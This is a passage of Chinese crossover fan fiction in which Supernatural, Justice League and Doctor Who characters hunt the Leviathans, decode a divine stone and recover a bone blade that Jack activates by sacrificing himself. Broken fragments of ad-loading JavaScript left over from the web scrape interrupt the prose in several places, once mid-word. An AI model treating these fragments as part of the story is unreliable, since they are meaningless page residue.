迪恩的脸色几度变幻,实在没忍住,用一种匪夷所思的语气问道:“你还看了那种东西?” 萨姆尴尬地咳嗽了一声:“因为纳西索斯的事总让我觉得有些不放心,我就又多看了几章,想看看里面还有没有提到什么可疑的东西。” “是啊,那本小说里根本没有什么是不可疑的。” “重点是,那篇小说里提到了卡斯的死。”萨姆顿了顿,“卡斯与克劳利合作,用地狱的灵魂补充能量,但灵魂里混杂着超出克劳利掌控的怪物,最终反将卡斯给吞噬了。” 迪恩神情瞬间严肃:“那我们就找克劳利问问。” “我很忙。”克劳利语气听起来懒洋洋的,“我现在可是有一整个地狱要管,没空和你们这些男孩儿玩过家家的游戏。”他低头看了一眼恶魔陷阱,敲着手杖,提高了声音喊道:“你们有话就快问,问完了就把这该死的陷阱给擦了!” “卡斯迪奥死了。”迪恩说,眼睛死死盯住克劳利的反应。 “哦。”克劳利看上去有些惊讶,又重复了一遍,“哦。” “哦?就这样?”迪恩挑起一边眉毛。 “不然我还该有什么反应?我是恶魔,他是天使,我还得为他哭丧吗?” “那我再说一个名字,不知道你熟不熟悉。”迪恩压低了声音,“利维坦。” “哦,你们知道得还不少。”克劳利低下头,双手撑着手杖,“这可怪不了我,是他自己荣光耗尽找我合作的。我的确没想到这家伙这么没用。” 迪恩咬牙:“你害死了他。” “嘿,你别血口喷人!你这是迁怒!” 萨姆问:“所以利维坦究竟是什么?” “一种怪物。一种远比人类、恶魔,甚至天使更古老的怪物。危险,暴虐。” “利维坦有什么弱点?” 克劳利不耐烦了:“我怎么知道!早在恶魔诞生之前,利维坦就被上帝封印在炼狱里了,你们该去问上帝!现在——”他用手杖暴躁地敲着地上的恶魔陷阱:“放我离开!我还有一个重要的高层会议要参加!” 待克劳利消失后,萨姆转向迪恩:“克劳利有一点说得没错,我们该问问上帝。” “我们上哪儿去找上帝?” “我们不知道上帝在哪儿,但知道谁是上帝的喉舌。” 迪恩恍然:“恰克。” 恰克的电话依然打不通,带着一种不详的预感,迪恩和萨姆开着Impala行驶在州际公路上。 看了看左右无人,迪恩和萨姆在一个清晨直接撞开了恰克的家门,映入眼帘的是熟悉的混乱:乱七八糟的稿纸和黄色杂志散落在狭小的客厅里,室内一股厨房垃圾发酵后的酸臭味。 萨姆推开窗散味,迪恩嫌弃地看了眼桌上的饭盒:“看起来这里已经至少一个多月没有住人了。” “恰克出事了。在我们上一次因为纳西索斯的事打电话给他之前就出事了。”萨姆神情严峻,“可能有人带走了他。”或者杀了他。 “谁?天使?恶魔?” 萨姆摇了摇头,走到书桌前打开电脑:“我们得弄清楚恰克到底预见到了些什么。” 什么都没有。他的小说一直停留在路西法破除封印那里再没有更新过。 二人甚至还远程连接了蝙蝠电脑求助,一个小时之后提姆给出了结果:“我恢复了近一年这台电脑上被删除的文件,没什么有价值的信息。” 迪恩挑起眉毛:“那你认为没有价值的那些呢?说不定藏着些什么你错过了的信息?” “哦,那都是些色情影片,你想要的话我可以发给你。” 迪恩被噎住了。 “所以什么都没有?” “什么都没有。” “那么,”萨姆看向迪恩,两人同时意识到一个问题,“爱丽森是怎么知道的?” ** “什么?这段情节当然是我自己想的。就算你们是温家兄弟,也不能凭空诬赖我抄袭!”爱丽森气鼓鼓地回答道。 “不,爱丽森,我们绝对没有说你抄袭的意思。”萨姆忙解释说,“我们只是想知道,如果你不是从恰克的书里看到的,那你是怎么知道克劳利和卡斯交易的存在的?” 迪恩补充说:“你是不是突然在脑海里看到了一些画面?” “没有。”爱丽森困惑极了,“我就是自己想的,这段情节我想了好久呢。” “你确定?你就没有突然被灌输进什么你不知道的东西?看到什么奇怪的画面?” 爱丽森被问烦了:“真的没有!怎么回事,你们已经是这阵子第二个问我这种问题的人了。” 迪恩和萨姆对视一眼,异口同声地问道:“谁?” 有了蝙蝠家的协助,两人轻而易举地就从那人在论坛上的留言追踪到了他的地址。那人只是一个高中生,看起来甚至比萨姆还要书呆子。 “天呐,”他瞪大了眼睛,“你们是温彻斯特兄弟!你们是真实存在的!“ 迪恩和萨姆交换了个眼神,知道自己找对地方了。 “好吧孩子,”迪恩毫不见外地侧身挤进了门,“我们准备好听故事了。” “我一开始还以为是我学AP学疯了,“高中生凯文坐在一叠半人高的教科书旁边,带着浓重的黑眼圈,推了推眼镜,说道,”天使,恶魔。我都数不清自己有多久没看过奇幻片了,但那些画面就突然出现在了我的脑子里。“ “我还看到了你们的画面。”凯文紧张地舔了舔嘴唇,“还有那个叫纳西索斯的怪物。我后来上网搜了搜,真的发现了你们的名字和设定出现在一部不那么流行的小说里,还有就是爱丽森的同人作品。我就想着,说不定她和我一样,都看到了这些画面。” 几人又对比了一下时间线,确认凯文看到画面的时间只比事情的发生略早几天,远晚于爱丽森发表小说的时间。 “爱丽森到底是什么情况?”迪恩百思不得其解,“她是什么形式更加高级、更加隐蔽的先知吗?” “这个问题可以先等等。”萨姆转向凯文,微微前倾,姿势显得更为真诚恳切,“现在有一个更加迫在眉睫的问题——你有没有预见到有关利维坦的事?” 凯文“呃”了一声:“你是说,除了他杀了天使以外的事?” 萨姆觉得喉咙有些发紧:“是的,除了那个以外。” “我不知道。”凯文皱起了眉头,“其实我最近不太预见怪物的事了,只有一个公司logo反反复复出现在幻象里?” “什么公司?” “莱克斯集团,你知道的,就是莱克斯·卢瑟的那家公司。” ** “我觉得卢瑟有问题。”在正义联盟会议结束前,超人突然提出了一个新的话题。 “卢瑟总是有问题。”绿灯侠半摊在椅子上,用绿灯能量制作出一个巨大蓬松的悬浮枕头,将脑袋悠哉悠哉地靠在上面,只等待蝙蝠侠正式宣布会议结束,“但或许在能毁灭世界的怪物面前,卢瑟的事可以先放一放。” “好吧,我只是觉得卢瑟近期的变化有些大,最好提出来大家一起研究一下可能的原因,避免他突然冒出来在恶魔、利维坦的那一摊子事里横插一杠子。” 蝙蝠侠从会议记录里抬起头来:“他做了什么?” “你多久没去韦恩企业开董事会了?”超人小声地调侃了一句,“可怜的提姆。”然后在蝙蝠侠的目光中败下阵来:“卢瑟在商业上有很多扩张动作,持续进军食品、药品和地产业。” “这样一说,我好像也隐约听说过。”绿箭侠说,“卢瑟近期买了一块我子公司的废旧地皮。” “呃,我没听出有什么问题。卢瑟不是一直野心很大吗?”绿灯侠说。 “重点在后面,”超人说,“他买下地皮是为了建造中心化的生活区,以市场价的一折出售给员工,作为员工福利。而且他还向媒体宣称,这个生活区里会建有商业区、学校、医院等所有基础设施,以员工福利区为试点,之后逐步推广出售价格低廉的对外商品房。” “好吧,”绿灯侠迅速改口,“这很可疑。” 闪电侠用微弱地声音插话说:“他有说什么时候出售吗?” 面对着四面八方投来的目光,闪电侠向后退了一步:“呃,只是问问。” ** 正义联盟对莱克斯集团的突然袭击称得上顺利,虽然媒体众说纷纭,兴奋地讨论着正义联盟的主席是否终于受不了卢瑟的针对决定一劳永逸地解决他,但卢瑟还是穿着一身病号服出了镜,打消了对他生命延续问题的种种猜测。 “我不会感谢你们的。”他咬牙说。 “我不需要你的感谢,”闪电侠搓了搓手,“只是你能不能把利维坦搞的那个项目继续做下去,尤其是那个一折的商品房?” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >卢瑟的脸更黑了,连原本闪闪发亮的光头都黯淡了下去。 在利维坦取代他身份的这段时间里,莱克斯集团的资产缩水了不少。更惨的是,上帝显然没有给在炼狱中的利维坦安排商业课程,所有计划都是莱克斯在利维坦铁血手段的威胁下自己制定的,令他想起来就不由得咬牙切齿。 “你、们、可、以、走、了。”他一字一顿地说道。 蝙蝠侠早在卢瑟下逐客令之前就离开了——他要将与利维坦对战过程中的每个细节都进行进一步的分析,寻找可用的线索。 为了确保万无一失,他们此次出击时装备了迪克认证的能够有效攻击到利维坦的奇怪混合物,配方完全按照迪克在家中浇了利维坦满头满脸的比例研制。 里面必定有某种有效成分,但已经被稀释了许多,这就导致了利维坦在地上打了几个滚之后,再一次化作黑色的浑浊液体逃离了现场。 但或许是出于宇宙中某种“反派必定话多”的奇怪规则,利维坦在最初得意忘形之时的确暴露了不少信息。 比如他计划着以莱克斯集团为起点,扩张自己的政治与经济力量,在人类中建立威信,建立新的生活方式取代人类现有的习惯,最终使得人类所有的衣食住行都要依赖于他的供给,将地球彻底变为利维坦的养殖场。 当然,利维坦在莱克斯集团的势力已经被瓦解了,但这条信息依旧可以让正义联盟更有针对性地去寻找新的被利维坦占用身份的可疑对象。 除此之外,利维坦还反反复复地提到了上帝的存在。 “上帝已经放弃人类了。”他这样说,“他离开了,只留下了一屋子的垃圾。” “卡斯迪奥死的那天利维坦也说起过这个,”当蝙蝠侠问起时,迪克这样回答道,“他说他附身卡斯迪奥时看到的,天堂里有上帝力量的残留,距今不超过十年。” 蝙蝠侠警觉地眯起了眼:“但他这次说,上帝留下了一屋子的垃圾。” 下一刻,他直接拨通了正义联盟所有成员的通讯:“我们还得再去一次莱克斯集团。” 当神奇女侠的真言套索落在了卢瑟的脖子上,他一边对着超人骂骂咧咧,一边在套索力量的压迫下,不情不愿地吐出了利维坦遗留物品的下落。 “只是某种石头,不是氪石,不具备任何放射性,看起来很寻常。”莱克斯说,“像是在地里埋了几千年的那种远古文献。” 莱克斯口中的石头上刻着竖排的花纹,以弯曲的线为主,少有封口的圆圈,风格统一,没有象形的符号。 “看起来像是文字。”正义联盟的成员们观点一致。 然而,无论是钢骨以巨量算力搜寻所有电子文献资料,还是蝙蝠侠以世界第一侦探的推理能力尝试解读文字,破译工作依旧没有丝毫进展。 神奇女侠甚至带着石头去了奥林匹斯山一趟,众神也说从未见过这种文字。 但宙斯却给出了一条可行的建议:“如果这真的是上帝留下来的东西,或许有一个人能够解读。” “谁?” “先知。” 这就是为什么凯文背着厚重的行李包,乘坐着蝙蝠飞机,降落在了蝙蝠洞里。 连达米安单手拎起他行李包的时候,都没有维持住一贯的面无表情,微微挑了一下一边的眉毛。 “你还在学AP?”达米安嫌弃地翻了几下包,从里面抽出了几本大部头的书目,挑剔说,“啰嗦冗长,连最简单的概念都要用那么多字去写,除了浪费纸、破坏环境以外没有任何用处。” “但我的学校有几门课程没有开设,我只能从基础自学。”凯文痛苦地捂住脑袋,恨不得把头往桌上撞去,“啊,我刚才看到哪儿了?天呐,我全忘了。” “这比教科书还要糟糕一百倍。”他面如死灰地喃喃说。 “但你确实能看懂这块石头,对吗?”萨姆问。 “这感觉很奇怪,好像看得懂,又好像看不懂。上一刻看得懂了,但下一刻又没办法把它和下文联系起来。我刚读懂一句话,一晃神的功夫又忘了。”凯文开始物理意义上地把头往桌子撞了,“这比我解数学题算出答案是48198/501879还要痛苦一百倍。” “如果我来不及复习了,”他转向蝙蝠侠,希冀地望着他,“韦恩先生能推荐我上藤校吗?” 迪恩拉开拉环,吸了一口啤酒沫,评价说:“这哥们没救了。” 71.风浪又起的第四天 如果让伊琳重回到一分钟前,她绝对不会当那个开门的人。 但由于某些恼人的时空法则,一分钟后的她绝对没有办法穿越到一分钟前把大门焊死,所以现在的她只能目瞪口呆地盯着窗外的黄沙,然后被流沙没过了脚脖子。 迪克将她往塔迪斯深处拽了过去,但躲闪只是徒劳,塔迪斯正以肉眼可见的速度下陷,流沙涌进操作室内,很快覆盖了地面。 “这......”迪恩一张嘴,就吃了一口沙子。他眯着眼睛,迎着夹着沙子的狂风,艰难地将吐槽给说出了口,“这是......什么鬼地方。” “你能不能过来专心把门给关上。”萨姆的脸埋在门后,没有直面粗粝的沙石,但整张脸还是表情狰狞,“这门怎么那么重?” 塔迪斯微微地嗡鸣了一下,像是在抗议。 迪恩走到门边,重心放得极低,几乎使出了吃奶的劲儿,才和萨姆一起把门关上了二分之一,与风僵持住了:“这个飞船能够穿越时空,却没有自动关门的功能?” “呃,我喜欢亲力亲为。”博士说。 当所有人都艰难地在风中行走到了门边,总算在流沙没过小腿的时候及时将门给关上了,个个扶着膝盖直喘气。 “这可真是一团糟。”杰克向着操作台走去,路程中还被一根埋在流沙里的电线给绊到了。他看着被沙子淹没的电路皱起了脸:“希望这沙子里没什么导电的矿物质。” “别担心,按第三排第二个按钮,沙子很快就能被排出去。” 杰克将信将疑地按了下去。 塔迪斯里响起了类似排气扇运作的轰鸣声,伊琳盯着沙面看了半天,又抬脚扬起沙子,确认流沙一点儿都没见少:“你说的很快是......地球人标准的很快吗?” 博士脸色有些尴尬:“好吧,让我来看看......” 他走到操作台前又按了几个键,显示屏上出现一长串弯曲的外星字符串。博士皱起眉,打开监控,屏幕上只有一片黑暗。 当塔迪斯通体的灯光照射被打开,浓重的黑暗才变成了金灿灿的颜色。 “如果我没猜错的话,”迪克说,“我们现在在沙子底下?” 博士干巴巴地说:“至少你得承认,塔迪斯的减震很好。” 随着新指令的输入,屏幕上出现了一个绿色的进度条。博士的手指在桌沿上敲击着,喃喃自语:“快,加油,好姑娘。” 显示屏上的金灿灿隐约有了些明灭的变化。 “塔迪斯在上升?”迪克问。 “不,只是一个探头。” 博士话音刚落,显示屏终于出现了天光——虽然风沙映在镜头上依旧是灰黄一片,但随着镜头的转动,他们终于可以面前看清地面上的场景了。 ……呃,场景就是一片茫茫的沙漠,什么都看不到。 伊琳从沙子里拔出脚,跳到操作台前的高脚椅上,把双腿蜷到了窄小的椅面上抱住,抖落了几下腿上的黄沙,打量着显示屏评价说:“这个失落的神庙确实还挺失落的。” 大概率这座神庙早在时间的推移下被黄沙掩埋住了。 迪恩叹气:“应该让那群会飞和还有透视眼的家伙来这儿的。” “超人在天堂。”迪克大笑,“如果不是天使不愿和你们合作,你们和超人倒是可以换一换。” 就在两天前,凯文终于在头晕目眩中解出了石头上的文字,上面给出了关于一种能杀死利维坦的武器的线索。 “这是武器的坐标,我查过了,它位于阿塔卡马沙漠。石碑上的信息说,那里有一座异教神庙,武器就在那里面。” 凯文顿了顿,看上去有些紧张:“上面还说,这把武器必须用一个活人全身的鲜血祭献才能够使用。” 达米安抱着手:“不管怎么样,我们都要先拿到它再说。” 布鲁斯看了他一眼,沉默着点了点头。 然而,正义联盟还没有来得及出发,就收到了康斯坦丁发来的通讯,他的语气里少见地带了些急切:“嘿,这里有一件急事,希望正义联盟的成员有空的都能来帮忙。” “什么?” “是那群天使找我帮忙的,”康斯坦丁面色古怪,“天堂被利维坦入侵了。并不是说我那么在乎那群前不久还要推动天启的毛绒脑袋,但天堂里还有一大批灵魂。听说灵魂也在利维坦的食谱上,而他们很能吃。” 布鲁斯瞬间想到了被死亡骑士带离的韦恩夫妇,脸色阴沉下来。 当迪恩听说这件事后,他很是不屑地评价说:“这就是为什么你不能听天堂的鬼话,那群天使连自家的大门都看守不住。” “公平来说,这也不能怪那些守卫天使。”康斯坦丁回答,“据说是你家那只风衣天使进入天堂的时候,身体里有一只利维坦偷偷跑了出来,一直隐藏在天堂里。最近才杀死了守卫,打开了天堂的大门放其他利维坦进去。” 迪恩猛地仰头灌了剩下的半瓶啤酒,将空酒瓶往桌上重重一放,一抹嘴:“好吧,那我们就去帮帮他们。杀几个利维坦?”迪恩一扭脖子,牵起嘴角:“我早就想这么做了。” “别误会,”康斯坦丁说,“那些天使说得很清楚,天堂不欢迎你们去。” “那你和我们说这个干什么?” “正义联盟已经赶往天堂大门了。蝙蝠侠托我和你们带句话,寻找沙漠里那件能杀死利维坦的武器的事也刻不容缓。” 既然是刻不容缓,迪恩自然不能开着英帕拉跨越几条国界线过去,塔迪斯三人组的同行自然也是顺理成章。 至于迪克,他出现在伊琳旁边自然也不是什么稀奇的事。 但现在看来,如果他来的时候还能再拐上一个超人系的超英就更好了。 “氪星人才不是唯一一个有透视能力的种族。”迎着其他人的惊异目光,博士咧开嘴笑了,“当然,我并没有这种能力。” 下一秒,他拉下推杆:“但是塔迪斯可以。” 蓝光从探头射出,落在了方圆十米的地面上。然后这个大光圈迅速蔓延开去,从屏幕中竟然看不出它的尽头在哪里。 屏幕一阵闪烁,最终出现了一副画着层层叠叠不同灰度线条的图,随着博士手指的拉拽不断移动、缩放。 “就在那里。”博士的动作停住了,伊琳贴近屏幕,隐约看出了一个建筑的轮廓,以及里面纵横交错的廊柱与楼层。 博士拉下了另一个推杆,塔迪斯发出熟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 悉的嗡鸣声。 伊琳谨慎地问:“我们到了?现在可以开门了吗?” “不,我们还在沙子里。建筑里的能量有些紊乱,塔迪斯没有办法直接进到里面。我们现在在建筑的上方。” “那我们要怎么出去?” 博士按下了一个按钮:“就像这样。” 塔迪斯震动起来,同时发出了隆隆的响声。 “我们可以将一个钢铁的管道从屋顶伸进神庙里,同时将管道里的沙子排到地面上。” 五分钟后,响声停止了。 塔迪斯地面上的沙子流动起来,最终汇聚到操作台侧面的某个位置,倾泻而下。等沙子近乎都被排空,才露出了地面上一个黑漆漆的大洞。 “现在,我们下去。” 管道微微倾斜,里面光滑又冰凉,有点像陡峭的滑梯。接近地面的地方贴心地设计成了更缓的坡道,伊琳以躺姿停在了管道末端,四处打量了一阵,周围一片漆黑,以她超乎二十一世纪人类的视力也只能勉强看清旁边一个人的轮廓。 “睡美人,还不起来吗?”杰克调侃道,伸手拉起了伊琳。 伊琳站定,脚底下并不坚硬,想来是刚才落下的沙子铺了一层。 “为什么不开手电筒?” “你确定?” 伊琳不确定——毕竟每当杰克用这种语气说话,就意味着他肯定要使坏了。 但还没等伊琳阻止,刺眼的白光在空间内亮起。与此同时,铺天盖地的嗡嗡声传来,密密麻麻的黑色小点向着他们逼近。 杰克笑了笑,白光很快熄灭,昆虫振翅的声音也渐渐停息。 “放心,”他说,“这种虫子毒性并不重,但数量太多了,被几百只一起咬伤也挺麻烦的。” 伊琳心有余悸地点点头。 管道里再次传来摩擦声,迪克的声音响起:“怎么不打手电?” “别!” ** 几人在通道里摸黑走了一阵,越发觉得自己就像是无头苍蝇一般,耳边依旧有少量昆虫翅膀的摩擦声,偶尔还有几只虫子撞到他们脸上。 “我们怎么知道要找的东西在哪里?”迪恩问,“我们甚至都看不见!” “耐心。这是一座神庙,我们要找的是一件有神力的武器。不管它在哪儿,我想它至少不会被随便扔在这么窄的一条通道里。” “我一直在想,”伊琳突然说,“这是一个埋在沙子底下的建筑,即使它没有防虫措施,但这些虫子为什么会把窝驻在这里。” “你是说,这些虫子的出现是人为的?”博士问。 “你们有没有觉得旁边的噪音有两种?”迪克声音紧绷地问。几人停下脚步,这才注意到习以为常的噪音并不只是昆虫的振翅声,还有一种更规律、沉闷、隐蔽的摩擦声。 像是极为沉重的石头摩擦的声音。 用不着别人提醒,杰克已经按下了腕表上的灯光按钮。 在伊琳能适应光线之前,她听见博士大喊了一声:“往回跑!” 她下意识遵从了博士的指示,跑出几步后又向身后看了一眼:一块上下左右不留一点缝隙、表面布满金属尖刺的大石头正在他们身后逼近过来。 72.风浪又起的第五天 “音速起子呢?”伊琳急急问,“你能把机关停下吗?” “正在试!”音速起子上的蓝光明灭几次,博士最终懊恼地将起子往口袋里一放,“不行,机关可能是木头或者石头的,音速起子的信号传不过去。” 有了光的照射,哪怕途中要穿过令人头皮发麻的一团团虫子大军,几人的速度依旧比来时快得多,不一会儿就到了管道的入口。 博士当机立断:“回去。” 先后爬进了管道内,正靠摩擦力撑得有些摇摇欲坠时,博士一按音速起子,就有一道气流托着他们往上升去,最终落在了塔迪斯的地面上。 “神庙里的机关,”迪恩耸了耸肩,“感觉像是某种俗套的冒险电影。” 博士咧开嘴笑了:“但是没有一个冒险电影的主人公有塔迪斯。” 他拍了拍操作台:“石头应该已经过去了,好姑娘,继续往下。” 塔迪斯再次微微地震动起来。 “现在,有谁想第一个试试加长版的滑梯吗?” ** 就像迪恩所说的,神庙机关的设计颇有烂大街冒险电影的刻板印象:被重力触发的机关暗箭、流沙、水银。 迪克的万能腰带里甚至能找出把自己装备成蜘蛛侠的道具,只见他在双手、双脚上装上了什么,就顺着墙倒挂在了天花板上,先行一步寻找前方隐藏着的机关。 夜翼镖卡进缝隙的机关槽中,他一个空翻跳了下来,以马戏团谢幕的姿态鞠了个躬:“危险解除。” 伊琳欢呼一声,跑跳着扑到了迪克身上,交换了一个快速的吻,又点着被他收起来的道具:“这是什么?看起来真有趣,下次教教我?” 迪恩和萨姆落在后面,萨姆被墙壁上奇特的文字吸引住了,迪恩打着手电替他照明,嘴里不客气地吐槽说:“书呆子。” 由于漫长岁月中外界的侵蚀,一些文字边缘模糊,有些看不太清了。萨姆伸手去描摹着文字的走向,突然感到墙上传来隐约的震动。 地在下陷。 准确来说,是他们所在的这半条通道在下陷——迪恩错愕地看着自己的视线逐渐和伊琳的腰部齐平。 “去底层!”在彻底被分隔开前,迪恩听见博士在喊,“神庙最大的房间就在那里!我们去那里汇合!” ** 迪克和杰克齐力推开了那扇花纹精美到不可思议的石头大门,门底的石头凹凸不平,与大门摩擦发出刺耳的声响。 里面是一个宽阔的空间,普通的手电只能勉强照亮十分之一的面积,全靠杰克的腕表才能让他们将这个屋子看个仔细。 这个房间呈六边形,除了他们进来的那扇门以外,其余五条边还有一模一样的五扇门。在正中心的位置,坐落着一个两米多高的祭坛,上面横着一把雪白的刀状物品。 杰克快步走了过去,手掌抓着祭坛的侧沿借力跳了上去,将整个人扒在祭坛的边缘,神采奕奕地端详着那把白里透着枯黄、材质可疑的武器:“我猜就是这个了。” 他右手抓起骨刃,左手一松,稳稳落在地上,朝着剩余三人扬了扬手里的骨刃:“拿到了!” “杰克!”博士语气夸张地抱怨,“你能不能谨慎行事,万一有什么机关呢。” 杰克不以为然地耸了耸肩:“这不是没什么......” 一边传来石头的摩擦声,一扇大门缓缓地打开。 博士压低了声音:“你说什么?” “呃......”杰克开始感到有些心虚,直到大门打开的幅度足够让他看清门后的来人,他才松了一口气,轻快地说,“瞧,确实没什么事——温家兄弟也来了。” 他们看上去有些狼狈,迪恩的牛仔外套的袖口还有一处烧焦的痕迹,萨姆微长的头发里落满了尘土,他还边走边扒拉着头发,尝试把尘埃抖下来。 “嘿,你们来得正好。”杰克笑得露出了两排牙齿,“看我们找到了什么。” 迪恩抬起头,睁大眼睛,也笑了起来,加快了脚步:“让我看看......” 杰克伸出手,想把骨刃递给他。还没等迪恩把东西拿到手里,熟悉的摩擦声在另一边出现。 “呼,总算找到了。”门后的另一个迪恩说道——他的牛仔外套看起来更加狼狈一些,下摆完全被火燎成了黑色,被他脱下来系在腰间。 “你是谁?”新来的迪恩神情凝重,瞬间掏出了手枪,指着第一个迪恩,恶狠狠地问道,“不管你是什么东西,装成我算是你找错人了。” 第一个迪恩冷笑,以同样的瞄准姿势回敬道:“这话该是我对你说才对。” “是利维坦。”第一个萨姆语速极快地说,“利维坦能变化成其他人的样子,他们有动机想要阻止我们找到武器。” “好吧,太晚了。”杰克嘴角依旧上扬着,但身体已经摆出了戒备的姿势,与两对温彻斯特兄弟同时拉开了距离,“我们已经拿到了。” “很好,”新来的迪恩说,“那我们就可以杀了这两个怪物了。” “你暴露了!”第一个迪恩冷笑,“真正的迪恩不会不知道这把武器需要鲜血的祭献才能起作用。” 看到几人当真对他投来了怀疑的眼神,新来的迪恩气急败坏:“我是在放狠话!” “我们是真的。”新来的萨姆说,“但我恐怕问话的方式无法分辨出利维坦,利维坦能拥有他们所变化成的人的记忆。” “简单。”新来的迪恩眯起眼睛,“你们可以把我们四个都绑起来带回去,等你们找到了激活武器的方式,谁真谁假就能见分晓了。” 迪克说:“我们至今还没有一种能控制住利维坦的方式,他们总能变成流体逃走。” “伊琳,”杰克突然说道,脸上再一次展露出他标志性的自信笑容,侧身将骨刃递给伊琳,“帮我拿着。我有办法了。” 伊琳没多加思索,走上前去握上了骨刃的柄。 杰克并没有松手。 伊琳下意识疑惑抬头,对上了杰克灰蓝色的眼睛——他飞快地冲着她眨了眨右眼,然后收敛了笑容,神情坚毅地下了某种决定——伊琳心里顿时生出了一种熟悉又不详的预感。 骨刃上传来巨大的拉力,杰克将匕首用力地往自己的方向拽。伊琳没有反应过来,身子被这股力道带了过去。 当骨刃穿透杰克的腹部,伊琳的手依旧握在骨刃的柄上。因此,温热粘稠的鲜血顺着骨刃,流到了她的虎口上。 伊琳的脸上瞬间失了血色,她下意识退了一步,杰克却抬起沾满了自己的血的手,按在了她的手背上,将她的手牢牢固定在骨刃柄上:“别松手。” “让武器认主必须亲手拿着武器用鲜血祭献。”他竟然还笑了一下,“我可不想因为时间不够而白死一次。” 伊琳只觉得手上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 沾着的鲜血滑腻极了,手不断地在抖动中向外滑去,她只能更加用力地抓紧骨刃,眼睛惊慌无措地看向杰克。 杰克赞扬地点了点头。 身后传来了打斗声,伊琳仅剩的理智意识到这是利维坦想要做最后一搏。但她没有心思回头看,她只能跟着杰克支持不住倒地的动作俯身跪在他身体旁边,双手依然紧紧地扶住骨刃,腾不出手扶他一把。 “好吧,”杰克皱了皱眉,低头看了眼自己的伤口,“我还担心过伤口太小血放不完怎么办,现在看来这把武器好像能自己吸血。” 他面白如纸,嘴唇早已失去了血色:“别担心。” 杰克艰难地抬起胳膊,抚摸着伊琳的头发:“被放干血后复活可能会多花些时间,耐心些,嗯?别哭鼻子。” 他轻笑起来:“还有,记得在我的床边准备好香槟。” 当杰克闭上眼睛时,伊琳只是专心地确保自己紧紧握住了骨刃,没有去考虑杰克是否已经进入了又一次短暂的安眠。 伤口边缘再没有更多的鲜血溢出,而骨刃逐渐凝结出不详的血色。 血光大盛、甚至映红了伊琳半边脸的那一刻,伊琳将骨刃从杰克的伤口中拔了出来,转身看向混乱的战局。 迪克刚飞踢向某个“迪恩”的胸口,又被他抓住了脚踝,使巧劲掀飞了出去。 伊琳没有片刻迟疑地向着那个“迪恩”冲了过去。 “迪恩”抬膝撞向她的肚子,伊琳不闪不避,被击中的同时,手中骨刃落下,划破了“迪恩”的牛仔裤,以及在他的大腿上留下了浅浅一道伤痕。 纵然只是浅浅的一道伤痕,也足够骨刃辨别出自己的猎物了。 房间的中心出现了一个深红色的漩涡,随着漩涡旋转速度的加快,它底部的颜色越发得深沉,最终近乎接近于黑色。 漩涡引动的气流吹起伊琳的长发——但也仅此而已,她并未感觉到有什么比雷雨天气的风更强的劲力。可那两个利维坦却像是受到了什么难以抵抗的吸力一般,站立不稳,最终趴在地上,手死死地扒住地面的花纹,却依旧抵不过漩涡的力量,松手后瞬间消失在底部浓重的黑色里。 六扇大门齐齐向内打开,漩涡不曾引动门口的尘土,却有成百上千道黑影从各处汇入漩涡,隐约还能听见黑影的哀嚎。 时间大概过去了半个小时,终于没有新的黑影飘进来,漩涡转速变缓,最终只留下底部一个深不见底的黑洞。 房间内几人谨慎地与这个黑洞保持了距离。 五分钟后,就连黑洞也彻底消失了。 “这就......结束了?”萨姆问,“那些都是利维坦?” 伊琳低头看手中的骨刃,刀身已经彻底褪去深红,恢复了原有的色泽。而与一开始不同的是,这上面又多了密密麻麻蛛网般的裂痕,像是被烈火灼烧过。 她一松手,骨刃掉在了地上。 地上只留下杰克的身体,提醒着他们刚才发生了什么。 迪克走到她身边,轻声说:“我很抱歉。” 伊琳这才有些恍惚地抬起头,将视线从杰克的身体上挪开:“不,你不用抱歉。” 她轻轻笑了一声:“我们该给他准备香槟了。” 对上迪克惊讶甚至有些不安的神情,伊琳促狭地笑了:“我还没告诉过你吗?爸爸不会死。” “所以,我已经习惯了。” 73.爸爸没复活的第一天 杰克身上被换上了崭新的白色衬衫,遮盖住他腹部的血洞。但衬衫的材质略薄,隐隐约约还能透出些伤口的深色轮廓。伊琳歪着头看了一会儿,把被子往上提了提,掩住那刺眼的痕迹。 她又将视线挪到床头柜的香槟上,拿起杯子摇了摇,黄橙色的酒液晃动着,并没有吐出气泡。 “又没气了。”伊琳嘀咕了一句,然后将酒一饮而尽。 她坐在床边的地上,膝盖歪在一旁,下巴抵在床沿,盯着杰克缓缓眨了眨眼,将眼中的水雾给眨了下去。 香槟杯重新被注满,伊琳撑着脑袋晃了晃酒瓶:还剩下一个浅底,不够一杯的量。 “塔迪斯。”她轻声唤了一句。 随着一阵亮光闪过,一瓶未开封的酒取代了空酒瓶,出现在伊琳的手边。 伊琳满意地发出一声醉意朦胧的鼻音,向塔迪斯表达感谢。 隔着门,他听见博士语速飞快的喋喋不休:“这没有道理,他在那里,定点就在那里,我能感觉到。” 伊琳抓过床上的抱枕,蒙在头上,捂住耳朵,把头埋在床单上。 她可能是模模糊糊地睡了过去,下一秒她意识到外界的存在时,是感受到了后颈处略带凉意的抚摸。 她几乎是跳了起来,将头从枕头里探了出来,眼前的杰克依旧一动不动地躺在原地。伊琳偏了偏头,迪克站在她身旁,忧虑地看着她。 “嗨,”招呼出口的一瞬间,伊琳才意识到自己声音的沙哑。她清了清嗓子,将两腿放平,才开始感到血液重新循环起来:“我没事。” 她环视一周,旁边的摆设都和她睡前毫无差别,香槟酒依旧静静地摆在床头。她伸手去拿,却被迪克抢了先。 他喝得很急,甚至还有些呛到了。 迪克用袖口擦了擦呛咳出的酒液,嘀咕了声:“我上次喝香槟还是被逼参加韦恩慈善宴的时候。” 伊琳牵了牵嘴角,没能笑出来。 “伊琳,”迪克盘腿坐在地上,有些紧张地捏着香槟杯,“我理解你的感受。” 伊琳这次却轻笑了一声。 “天呐,我真的不擅长这个。”迪克紧绷着笑了一声,“这比我想象得还要难。我一直在想,我遇见这种事的时候......”他焦虑地舔了舔嘴唇:“我当时是什么感受,我希望别人对我做什么,我希望别人说什么。” “我记不清了。”他坦诚说,“我只记得愤怒。我放任自己去愤怒,哪怕我脑海中的一个角落已经冷静了下来,因为愤怒比心中的空洞感觉更好。但空洞不会消失,它就是一直在那里,让你学会带着它继续往前走。” “他会回来的。”伊琳说。 